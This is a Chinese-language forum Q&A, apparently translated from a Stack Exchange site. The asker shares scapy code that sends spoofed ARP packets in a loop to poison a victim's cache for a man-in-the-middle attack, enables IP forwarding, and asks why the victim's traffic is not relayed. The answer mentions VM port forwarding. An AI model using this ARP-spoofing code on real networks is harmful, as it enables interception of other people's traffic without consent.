IP转发、MiTM解决方案

Question

作为我的项目的一部分，我正在尝试使用scapy进行MiTM攻击。以下是详细信息：

pkt=ARP(op=1,hwdst='00:0c:29:9c:70:2e',pdst='192.168.1.105',psrc='192.168.1.1')
send(pkt,loop=1)

hwdst=Kali Linux MAC   (attacker)

pdst= Victims IP       (victim)

psrc= Gateway router IP (router)

为了进行MiTM攻击，我启用了'ip转发‘，使用以下命令：

echo '1' > /proc/sys/net/ipv4/ip_forward

在受害者机器上，我尝试在浏览器中访问google.com，但连接不上！

在Kali Linux中，我启用了Wireshark，我确实看到数据包从Kali Linux转发到Google.com，但没有从Kali转发到受害者的机器。

Q-1 /知道为什么受害者机器无法通过Kali Linux访问google.com吗？

Q-2 /此命令echo '1' > /proc/sys/net/ipv4/ip_forward的确切作用是什么？

Answer 1

还需要在主机上启用端口转发(如果将Kali用作VM)。

ipforward做了什么？https://unix.stackexchange.com/questions/14056/what-is-kernel-ip-forwarding